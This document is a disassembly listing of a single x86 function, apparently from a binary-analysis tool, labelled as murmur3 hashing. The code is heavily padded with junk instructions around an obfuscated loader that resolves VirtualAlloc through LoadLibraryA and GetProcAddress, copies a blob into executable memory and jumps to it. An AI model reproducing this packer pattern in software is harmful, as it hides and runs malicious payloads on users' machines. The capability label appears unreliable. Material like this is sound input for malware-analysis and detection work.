Function at 0x4b657d
Capabilities:
Hash data using murmur3

Disassembly:
shr esi, 0xb
mov dword [0x505808], ebx
inc edx
shr esi, 0x1f
shl ebx, 0xd
inc esi
mov edi, dword [0x50127c]
sub dword [0x5052ac], esi
dec ebx
shl esi, 0x19
loop 0x4b6533
xor esi, 0x11188cc0
test al, 0x8c
sbb byte [ecx], dl
mov esi, eax
ror esi, 3
inc esi
call fcn.0041950c
inc esi
test eax, edx
jo 0x4b654a
and esi, edi
dec edx
xchg eax, eax
shr eax, 5
dec eax
test esp, ebp
jo 0x4b6599
xor eax, edi
add esi, eax
test ebx, 0x6c2bbc6
jo 0x4b6557
mov dword [0x50578c], 0x300237c
or esi, edi
xchg esi, esi
not esi
or edx, eax
xor esi, eax
xor ebx, eax
or esi, edi
shl edx, 3
sub esi, eax
push str.KERNEL32.dll
xor ecx, dword [0x5011e6]
rol eax, 9
call fcn.00405e62
mov dword [0x5051ba], ecx
xor ebx, ebx
call fcn.00406360
ror esi, 0x13
xor esi, eax
sub dword [0x5054ec], 0x214a9766
call fcn.00408c0b
mov dword [0x5051c4], 0xf04030
call fcn.00401ab2
add dword [0x5051f7], ecx
call fcn.00401ab2
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
sub edx, esp
dec edx
sub esi, dword [0x505a5c]
call fcn.00406149
mov dword [0x5055b4], edi
xor esi, dword [0x505b4c]
ror eax, 0x14
xor ecx, dword [0x505ac2]
inc esi
or dword [0x5053ea], edx
dec esi
add edi, esp
xor ecx, esp
inc eax
or dword [0x505782], 0x126a6920
add eax, esp
rol edx, 2
call fcn.004014f6
dec ebx
inc ebx
ror edx, 2
sub eax, esp
add dword [0x5057e4], 0x190b35d6
dec eax
xor ecx, esp
sub edi, esp
inc esi
dec esi
rol eax, 0x14
call fcn.00405f02
inc edx
add edx, esp
push 0
add ebx, ecx
xchg esi, edx
mov dword [0x50578b], edi
mov dword [0x50556b], ebx
sub ebx, dword [0x505bbf]
inc ecx
sub ecx, dword [0x505a2c]
xor ecx, dword [0x505ac4]
add ecx, esp
xor ecx, edx
or dword [0x505494], 0x91bccff
xor eax, edx
add eax, 0x1012560
ror eax, 0xf
xor ebx, esp
or dword [0x50585b], 0x23a9c7b6
dec eax
neg eax
rol esi, 0x16
add dword [0x5050e4], edi
or dword [0x5050fd], edi
ror esi, 0x16
neg eax
inc eax
add dword [0x50525c], 0x26c9c19
xor ebx, esp
rol eax, 0xf
sub eax, 0x1012560
xor eax, edx
xor ecx, edx
sub ecx, esp
dec ecx
mov dword [0x505130], edi
or dword [0x5054e3], ecx
xchg esi, edx
sub ebx, ecx
push 0x636f6c6c
not eax
rol esi, 9
xor esi, 0x16b4716c
add edi, esi
sub ecx, eax
not eax
sub dword [0x505360], esi
not eax
ror esi, 7
add eax, 0x32e1908
call fcn.00404172
xchg eax, eax
sub ebx, dword [0x505d66]
xor ebx, dword [0x505975]
mov dword [0x50578c], 0x1ff4d1c
xor edx, dword [0x505c00]
neg eax
call fcn.00406f57
inc ecx
call fcn.00407fe0
xchg esi, eax
neg esi
neg esi
xchg esi, eax
dec ecx
call fcn.004052ac
neg eax
and dword [0x5055ec], 0x2c8f4a0
xchg eax, eax
call fcn.00406f57
sub eax, 0x32e1908
rol esi, 7
not eax
xor dword [0x505145], ecx
not eax
add ecx, eax
sub edi, esi
xor esi, 0x16b4716c
ror esi, 9
not eax
push 0x416c6175
xor eax, edi
call fcn.00401426
xor dword [0x5055c9], edi
xor ebx, edx
inc eax
sub ecx, ebx
ror esi, 0x17
add dword [0x505364], ecx
xor esi, 0x989b6b0
call fcn.004071be
xor ecx, eax
call fcn.004044f9
ror eax, 6
xor esi, 0x28d713e
sub ecx, dword [0x505eda]
sub ecx, dword [0x505947]
xor eax, esp
xor eax, esp
xor esi, 0x28d713e
rol eax, 6
xor ecx, eax
call fcn.00403747
xor esi, 0x989b6b0
or dword [0x5053e2], ebx
rol esi, 0x17
add ecx, ebx
dec eax
xor ebx, edx
mov dword [0x50518c], edi
call fcn.00404172
xor eax, edi
push 0x74726956
inc edx
xchg esi, eax
mov dword [0x505368], ecx
sub dword [0x505430], 0x3648524
inc ebx
call fcn.00402358
sub esi, esp
call fcn.00404172
ror esi, 5
xor esi, dword [0x505977]
ror esi, 2
rol esi, 2
rol esi, 5
call fcn.00405954
add esi, esp
call fcn.004074fb
dec ebx
xor dword [0x5055b7], 0xdd7941d
mov dword [0x50567b], edi
xchg esi, eax
dec edx
push esp
dec esi
xor esi, edx
add esi, dword [0x505eee]
add esi, dword [0x505f71]
rol edx, 1
xor esi, eax
xchg esi, esi
xor esi, eax
neg edx
sub esi, eax
sub edi, dword [0x505e76]
or dword [0x505428], edx
call fcn.004044f9
sub dword [0x505441], 0x193ba330
xor dword [0x505784], 0x1129cafa
mov dword [0x505822], ecx
add esi, eax
neg edx
xor esi, eax
xchg esi, esi
xor esi, eax
ror edx, 1
xor esi, edx
inc esi
push eax
not ebx
call fcn.0040872c
ror ecx, 3
neg ebx
xor esi, eax
or dword [0x5054b1], 0x14dfd2c1
sub esi, 0x6a41c1e
not esi
xor edx, 0xc6b727c
call fcn.0040647e
xor dword [0x505496], edi
inc eax
neg eax
mov dword [0x505290], ecx
not esi
call fcn.004014f6
sub dword [0x505638], esi
xchg eax, edx
add esi, eax
sub esi, eax
xchg eax, edx
not esi
neg eax
dec eax
or dword [0x5055ec], esi
xor edx, 0xc6b727c
not esi
add esi, 0x6a41c1e
mov dword [0x505430], 0x1df7f8f4
xor esi, eax
neg ebx
rol ecx, 3
call fcn.0040732a
not ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x5052ec], ecx
call fcn.00408c0b
xchg ecx, edx
not esi
sub edx, dword [0x505bb8]
call fcn.004044f9
xor eax, 0x21149091
ror esi, 5
xor edx, eax
xchg ecx, eax
call fcn.00407fe0
call fcn.00403b24
xchg ecx, eax
xor edx, eax
rol esi, 5
xor eax, 0x21149091
call fcn.00405e62
not esi
xchg ecx, edx
call fcn.0040245e
mov dword [0x5056c0], ecx
add esp, 0x10
xor esi, eax
neg edx
xor eax, 0x3305b1e3
neg esi
xor edx, dword [0x505ae8]
dec esi
xchg eax, eax
dec edi
not esi
rol ebx, 0x17
neg esi
inc edx
sub esi, dword [0x505aea]
rol esi, 1
dec esi
neg eax
inc edi
add esi, dword [0x505bec]
xchg eax, esi
xor eax, esp
sub dword [0x505379], edx
xor eax, esp
xchg eax, esi
dec edi
neg eax
inc esi
ror esi, 1
dec edx
neg esi
ror ebx, 0x17
not esi
inc edi
xchg eax, eax
inc esi
neg esi
xor eax, 0x3305b1e3
neg edx
xor esi, eax
push 0x40
sub ecx, dword [0x505d1e]
xor esi, 0xf1aeb7a
add edx, dword [0x505d2b]
xor edx, edi
not esi
call fcn.00402be2
xor eax, edx
not esi
ror eax, 0xd
xor ecx, esi
call fcn.004074fb
xor edx, dword [0x505f68]
sub edi, esi
ror esi, 0x15
mov dword [0x505315], esi
ror edx, 0x17
neg ebx
inc ebx
call fcn.00404172
sub edi, eax
dec esi
inc esi
add edi, eax
dec ebx
neg ebx
rol edx, 0x17
mov dword [0x5051c8], ecx
rol esi, 0x15
add edi, esi
call fcn.00407482
xor ecx, esi
rol eax, 0xd
not esi
xor eax, edx
call fcn.0040169f
not esi
xor edx, edi
xor esi, 0xf1aeb7a
push 0x3000
not esi
mov dword [0x505604], ebx
add edi, esp
sub edi, dword [0x5059cd]
xor edi, esi
call fcn.004020ca
add ecx, dword [0x505d8c]
xchg edx, edx
dec eax
sub esi, eax
add esi, eax
inc eax
xchg edx, edx
call fcn.0040676b
xor edi, esi
sub edi, esp
xor dword [0x5051b5], edx
not esi
push 0x6c9
call fcn.00402719
xor esi, eax
call fcn.00401ab2
ror esi, 0x1c
xor eax, esi
call fcn.00406f57
xor esi, dword [0x505ab0]
sub ecx, esi
xor eax, ebx
ror esi, 0x1d
rol esi, 0x1d
xor eax, ebx
add ecx, esi
xor eax, esi
rol esi, 0x1c
call fcn.00404fe7
xor esi, eax
call fcn.00404172
push 0
xor eax, 0x20730a76
xor dword [0x505342], 0x1745000
xor edx, esi
ror edx, 9
mov dword [0x5056b8], ebx
dec esi
xor esi, edx
xchg edi, eax
sub esi, eax
dec esi
xor edx, esi
ror edx, 0xa
xchg esi, edx
sub ecx, esp
add dword [0x50576f], 0x30e7a01
call fcn.004064f6
not ebx
not ebx
call fcn.0040477a
add ecx, esp
xchg esi, edx
rol edx, 0xa
xor edx, esi
inc esi
add esi, eax
xchg edi, eax
xor esi, edx
inc esi
xor dword [0x50579c], ecx
rol edx, 9
xor edx, esi
xor dword [0x505812], 0x250a440a
xor eax, 0x20730a76
call eax
ror esi, 0xe
xor dword [0x505550], esi
sub edx, dword [0x505a94]
xor esi, eax
call fcn.00404172
not esi
xor edi, dword [0x505d6c]
not edx
xor eax, 0x5919918
ror eax, 0x16
xor esi, 0x21cd9b1c
xor esi, 0x21cd9b1c
rol eax, 0x16
xor eax, 0x5919918
not edx
not esi
call fcn.00402719
xor esi, eax
rol esi, 0xe
call 0x4b6ba7
dec esi
mov dword [0x50540c], edx
xor esi, eax
rol esi, 0x1e
mov dword [0x505850], ecx
call fcn.00405807
mov dword [0x5056c0], esi
xchg edx, edx
call fcn.004088cf
mov dword [0x505248], ecx
xchg eax, eax
call fcn.00405ab5
add dword [0x50523d], edi
sub ebx, dword [0x505e70]
inc eax
xor esi, esp
add esi, eax
neg edi
xor ecx, dword [0x505c60]
neg esi
add esi, eax
rol esi, 0xc
ror esi, 0xc
sub esi, eax
neg esi
neg edi
sub esi, eax
xor esi, esp
dec eax
and dword [0x50511c], ecx
call fcn.00403911
xchg eax, eax
xor dword [0x505728], edi
xchg edx, edx
ror esi, 0x1e
xor esi, eax
mov dword [0x5051a0], ecx
inc esi
pop esi
sub eax, ebp
sub dword [0x5055c1], 0x10821a3a
add esi, eax
mov dword [0x50552e], esi
dec esi
sub esi, dword [0x505eac]
call fcn.00404fe7
add edx, dword [0x505d90]
xor edi, dword [0x505da1]
xor ecx, edx
mov dword [0x5057f4], 0x1fdb3e97
xchg edx, edx
xor esi, esp
mov dword [0x505120], 0xb6bcbbf
xor esi, esp
xchg edx, edx
xor ecx, edx
inc esi
mov dword [0x5055de], esi
sub esi, eax
add eax, ebp
add esi, 0x291
inc eax
xor ecx, dword [0x505b1d]
xor ecx, dword [0x505c30]
and dword [0x505550], edx
xchg eax, eax
call fcn.00404fe7
and dword [0x50577a], 0xe09ee0
ror esi, 9
xor ecx, dword [0x505cfe]
not eax
xor edi, 0xbb8ac7a
sub ebx, dword [0x505a91]
call fcn.00403b24
inc ebx
add edx, esp
sub esi, dword [0x505b2e]
sub edx, esp
dec ebx
xor edi, 0xbb8ac7a
not eax
rol esi, 9
mov dword [0x5053c1], 0x40ac27
call fcn.00406f57
xchg eax, eax
dec eax
mov edi, eax
dec ebx
xor edx, ebx
call fcn.00407a90
not eax
xor esi, 0x81ca04a
rol esi, 0xf
and dword [0x5053d6], 0x13be2360
xor eax, esi
neg esi
call fcn.00406c2f
add edx, dword [0x505f6e]
mov dword [0x505550], ecx
xor edi, dword [0x505990]
inc edx
xor esi, edx
dec edx
neg ecx
add ecx, dword [0x505906]
call fcn.0040477a
neg ecx
inc edx
xor esi, edx
dec edx
mov dword [0x5056dc], ecx
call fcn.00404172
neg esi
xor eax, esi
xor dword [0x505428], 0xdebcaee
ror esi, 0xf
xor esi, 0x81ca04a
not eax
call fcn.00404fe7
xor edx, ebx
inc ebx
mov ecx, 0x6c9
xchg eax, eax
sub ebx, esi
sub edx, dword [0x505c64]
xor edx, dword [0x505e14]
add ebx, eax
sub esi, dword [0x505eba]
not eax
sub esi, eax
not edx
xor dword [0x50539c], edi
neg esi
xor ecx, esp
inc ecx
or dword [0x50568f], esi
sub dword [0x505794], edi
dec ecx
xor ecx, esp
neg esi
mov dword [0x505409], edx
not edx
add esi, eax
not eax
sub ebx, eax
add ebx, esi
xchg eax, eax
rep movsb byte es:[edi], byte [esi]
xor esi, 0xe5b01ce
xor dword [0x505538], 0xdf0b9c0
add ebx, ebp
inc eax
ror esi, 0x1e
call fcn.00405755
xor esi, eax
sub esi, dword [0x505f76]
sub esi, eax
xor ebx, dword [0x505cf3]
sub eax, edx
dec eax
inc eax
add eax, edx
add esi, eax
xor esi, eax
call fcn.00406248
rol esi, 0x1e
dec eax
sub ebx, ebp
xor esi, 0xe5b01ce
jmp eax